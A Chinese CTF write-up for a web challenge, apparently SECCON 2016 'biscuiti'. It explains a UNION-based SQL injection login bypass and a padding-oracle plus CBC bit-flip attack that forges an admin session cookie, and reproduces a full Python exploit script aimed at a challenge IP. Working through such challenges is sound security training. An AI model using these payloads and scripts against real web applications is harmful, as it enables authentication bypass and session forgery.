题目考点:SQL注入、Padding_oracle

分析题目源码,可以发现,要想获取flag,只需要以管理员身份登录即可。
但出题人留了个坑,其从数据库中仅查询了usernam、enc_password字段,并无isadmin字段,所以即便登录成功,默认肯定不是admin用户。
image.png
然后继续分析,可以发现其cookie验证逻辑使用的是基于aes-128-cbc的加解密。
其将用户session进行序列化后,以加密的形式存储到cookie中。
image.png
因为session是保存在cookie中的,所以我们可以尝试对其进行修改。通过传统解密方式的话,我们发现题目中所给的ENC_KEY,并不是部署环境中的key,所以没法直接进行解密修改。

但因为其采用了不安全的加密方式,即CBC模式,其因为分组加密的特性。导致我们可以去对其进行爆破,得到iv值,进而继续爆破,得到明文。也就是padding oracle攻击。然后在通过cbc翻转攻击来对cookie内容进行修改即可。

那接下来的主要要点就是两点,一、登陆成功。二、构造padding oracle攻击。

登陆这里,我们可以发现是存在一个SQL注入的。在这里,我们可以采用联合查询来去让其获取到我们想要的数据。
即:

  1. username=' union select 'hello','hello&password=

此时便有了Cookie,按照Cookie内容,我们去构造即可。
详见ssst0n3s师傅超级详细的wp:https://github.com/ssst0n3/ctf-wp/tree/master/2016/seccon/WEB/biscuiti

附上ssst0n3师傅的脚本flag.py && tomorrow_change.py。使用时不建议开启多线程

  1. # coding=utf-8
  2. """
  3. /flag.py
  4. sql injection, padding oracle attack to recover the cipher
  5. padding oracle attack
  6. ————————————————————————
  7. http://robertheaton.com/2013/07/29/padding-oracle-attack/
  8. http://blog.zhaojie.me/2010/10/padding-oracle-attack-in-detail.html
  9. https://en.wikipedia.org/wiki/Padding_oracle_attack
  10. """
  11. import time
  12. import base64
  13. import requests
  14. from urllib import unquote
  15. from urllib import quote
  16. # 对tomorrow做了一点修改,可以提前取消线程池中不需要完成的子线程
  17. from tomorrow_change import threads
  18. from tomorrow_change import clear_pools
  19. from tomorrow_change import check_pools_all_done
  20. # 是否使用多线程
  21. # USE_MULTI = True
  22. USE_MULTI = False
  23. # 子线程临时存储变量
  24. TEMP_CONTAINER_FOR_MULTI_THREADS = -1
  25. # 最大线程数量
  26. MAX_THREADS_NUM = 100
  27. # challenge真实地址
  28. URL_REMOTE = "http://220.249.52.133:55594/"
  29. # 本地测试环境地址
  30. URL_LOCAL = "http://127.0.0.1:8810/"
  31. # url = URL_LOCAL
  32. url = URL_REMOTE
  33. def xor(str_a, str_b):
  34. """
  35. 两个字符串异或, 以字符串a的长度为准
  36. """
  37. return "".join([chr(ord(str_a[i]) ^ ord(str_b[i % len(str_b)])) for i in xrange(len(str_a))])
  38. def pad(text):
  39. """
  40. 根据PKCS#7, 分组加密算法对最后一个block作填充,如明文刚好被16整除,则填充'\x00'*16
  41. https://tools.ietf.org/html/rfc2315
  42. :param text:
  43. :return:
  44. """
  45. return text + chr(16 - len(text)) * (16 - len(text))
  46. def sql_injection(payload_username, payload_enc_password):
  47. """
  48. username字段未做过滤,可以利用union语句伪造用户名,密码,从而绕过登陆验证。
  49. :param payload_username: sql中的username字段
  50. :param payload_enc_password: sql中的enc_password字段
  51. :return: 返回请求的响应信息
  52. """
  53. payload_enc_password = base64.b64encode(payload_enc_password)
  54. username = "' union select '{username}','{enc_password}".format(username=payload_username,
  55. enc_password=payload_enc_password)
  56. data = {"username": username, "password": ""}
  57. try:
  58. r = requests.post(url, data=data)
  59. return r
  60. except requests.ConnectionError:
  61. print "ConnectionError, Redo"
  62. return sql_injection(payload_username, payload_enc_password)
  63. @threads(MAX_THREADS_NUM)
  64. def sql_injection_multi_thread(i, payload_username, payload_enc_password):
  65. """
  66. username字段未做过滤,可以利用union语句伪造用户名,密码,从而绕过登陆验证。
  67. :param i: 被遍历的参数
  68. :param payload_username: sql中的username字段
  69. :param payload_enc_password: sql中的enc_password字段
  70. :return: 返回请求的响应信息
  71. """
  72. global TEMP_CONTAINER_FOR_MULTI_THREADS
  73. payload_enc_password = base64.b64encode(payload_enc_password)
  74. username = "' union select '{username}','{enc_password}".format(username=payload_username,
  75. enc_password=payload_enc_password)
  76. data = {"username": username, "password": ""}
  77. r = requests.post(url, data=data)
  78. if "Hello" not in r.text:
  79. TEMP_CONTAINER_FOR_MULTI_THREADS = i
  80. def get_jsession(payload_username):
  81. """
  82. 获得登陆的jsession
  83. enc_password和password都置空,使index.php中auth函数的openssl_decrypt解密操作失败,返回False,从而绕过$password==$input
  84. 服务端将session设置在cookie中的jsession字段, 从cookies中获得即可
  85. :return: jsession: 'a:2:{s:4:"name";s:5:"admin";s:7:"isadmin";N;}\x11\x899A\x99Q\xe0D\xc2\x94\xcc\x1f\rO\x17\''
  86. """
  87. r = sql_injection(payload_username=payload_username, payload_enc_password="")
  88. try:
  89. jsession = base64.b64decode(unquote(r.cookies["JSESSION"]))
  90. except KeyError:
  91. print "KeyError, redo"
  92. return get_jsession(payload_username)
  93. return jsession
  94. def padding_oracle_attack(imd, cipher):
  95. """
  96. 利用enc_password字段构造密文,利用padding oracle attack进行遍历,得到密文/明文/中间值/iv
  97. 如果爆破的那一位正确,则index.php中auth函数的openssl_decrypt解密操作成功,返回True, $password==$input不能满足
  98. :param cipher: 这一段的密文
  99. :param imd: Intermediary Value, 这一段的中间值
  100. :return: chr(i): 上一段密文的某一位的值
  101. """
  102. global TEMP_CONTAINER_FOR_MULTI_THREADS
  103. iv = chr(0) * 16
  104. for i in range(256):
  105. # mid ^ chr(len(imd) + 1)
  106. last_cipher_know = xor(imd, chr(len(imd) + 1))
  107. payload_enc_password = iv + 'a' * (15 - len(imd)) + chr(i) + last_cipher_know + cipher
  108. if USE_MULTI:
  109. sql_injection_multi_thread(i, payload_username='a' * 26, payload_enc_password=payload_enc_password)
  110. else:
  111. r = sql_injection(payload_username='a'*26, payload_enc_password=payload_enc_password)
  112. if "Hello" not in r.text:
  113. return chr(i)
  114. # 会不会出现巧合呢?
  115. # 例如,目前需要碰撞得到填充字符为5个'\x05'的密文后五位。
  116. # 而密文倒数第6位恰好是'a',从而得到6*'\x06',通过了openssl_decrypt()。
  117. # 此时得到的倒数第5位密文依然正确吗
  118. # 但我们认为这是小概率事件,针对同一个秘钥,出现这个情况时,换一个填充字符即可。
  119. # if "Hello" not in r.text:
  120. # payload_enc_password = iv + 'b' * (15 - len(imd)) + chr(i) + last_cipher_know + cipher
  121. # r = sql_injection(payload_username='a' * 26, payload_enc_password=payload_enc_password)
  122. # if "Hello" not in r.text:
  123. # print repr(payload_enc_password)
  124. # return chr(i)
  125. # else:
  126. # print "Found something strange"
  127. # return
  128. while TEMP_CONTAINER_FOR_MULTI_THREADS == -1:
  129. time.sleep(0.1)
  130. if check_pools_all_done():
  131. print "pools all done, but not crack."
  132. clear_pools()
  133. return padding_oracle_attack(imd, cipher)
  134. chr_i = chr(TEMP_CONTAINER_FOR_MULTI_THREADS)
  135. TEMP_CONTAINER_FOR_MULTI_THREADS = -1
  136. clear_pools()
  137. return chr_i
  138. def get_list_of_original_cipher_and_plain(jsession):
  139. """
  140. 利用padding oracle attack, 得到明文和密文
  141. :return: list_plain, list_cipher
  142. """
  143. # 根据index.php源码, jsession后16位,为aes-128-cbc最后一个block的密文,之前的部分为serialize($SESSION)
  144. plain_text = jsession[:-16]
  145. list_plain = []
  146. for i in range(len(plain_text) / 16):
  147. list_plain.append(plain_text[i * 16: (i + 1) * 16])
  148. list_plain.append(pad(plain_text[len(plain_text) / 16 * 16:]))
  149. list_cipher = [""] * len(list_plain)
  150. list_cipher[len(list_plain) - 1] = jsession[-16:]
  151. # padding oracle attack, 以此得到前一个block的密文
  152. for i in range(len(list_plain) - 1, 0, -1):
  153. imd = ""
  154. for j in range(1, 16 + 1):
  155. print "block {block_number} : the {cipher_index}/16 cipher text".format(block_number=i, cipher_index=j)
  156. chr_j = padding_oracle_attack(imd, list_cipher[i])
  157. imd = xor(chr_j, chr(j)) + imd
  158. # 中间值和明文异或,得到上一个block的密文
  159. list_cipher[i - 1] = xor(imd, list_plain[i])
  160. return list_plain, list_cipher
  161. def get_new_cipher_2(list_cipher):
  162. """
  163. p2' = c1^c3^p4'
  164. c2' = encrypt(p2'^c1) = encrypt(c3^p4')=c4'
  165. :param list_cipher: original cipher
  166. :return: new_jsession: new jsession
  167. """
  168. new_plain_2 = xor(xor(list_cipher[1], list_cipher[3]), pad("b:1;}"))
  169. new_jsession = get_jsession(payload_username='a'*10 + new_plain_2)
  170. return new_jsession
  171. def main():
  172. time_start = time.time()
  173. # get original plain, cipher
  174. jsession = get_jsession('a'*26)
  175. list_plain, list_cipher = get_list_of_original_cipher_and_plain(jsession)
  176. print list_plain
  177. print list_cipher
  178. # get new plain, cipher
  179. new_jsession = get_new_cipher_2(list_cipher)
  180. new_list_plain, new_list_cipher = get_list_of_original_cipher_and_plain(new_jsession)
  181. print new_list_plain
  182. print new_list_cipher
  183. # Note: 需要用quote进行url编码,否则php中会把‘+’解析成空格
  184. cookies = {"JSESSION": quote(base64.b64encode("".join(list_plain[:-1]) + "b:1;}" + new_list_cipher[2]))}
  185. print cookies
  186. print len(cookies["JSESSION"])
  187. print repr(base64.b64decode(unquote(cookies["JSESSION"])))
  188. r = requests.get(url, cookies=cookies)
  189. print r.content
  190. time_end = time.time()
  191. print time_end - time_start
  192. if __name__ == "__main__":
  193. main()

tomorrow_change.py

# tomorrow_change.py
from functools import wraps

from concurrent.futures import ThreadPoolExecutor
import time

pools = []


def clear_pools():
    count = 0
    global pools
    for p in pools:
        if not p.done():
            p.cancel()
            count += 1
    print count, "requests cancelled"
    pools = []


def check_pools_all_done():
    for p in pools:
        if not p.done():
            return False
    return True


class Tomorrow():
    def __init__(self, future, timeout):
        self._future = future
        self._timeout = timeout
        pools.append(future)

    def __getattr__(self, name):
        result = self._wait()
        return result.__getattribute__(name)

    def _wait(self):
        return self._future.result(self._timeout)


def async(n, base_type, timeout=None):
    def decorator(f):
        if isinstance(n, int):
            pool = base_type(n)
        elif isinstance(n, base_type):
            pool = n
        else:
            raise TypeError(
                "Invalid type: %s"
                % type(base_type)
            )

        @wraps(f)
        def wrapped(*args, **kwargs):
            return Tomorrow(
                pool.submit(f, *args, **kwargs),
                timeout=timeout
            )

        return wrapped

    return decorator


def threads(n, timeout=None):
    return async(n, ThreadPoolExecutor, timeout)

time.sleep(5)

image.png

参考文章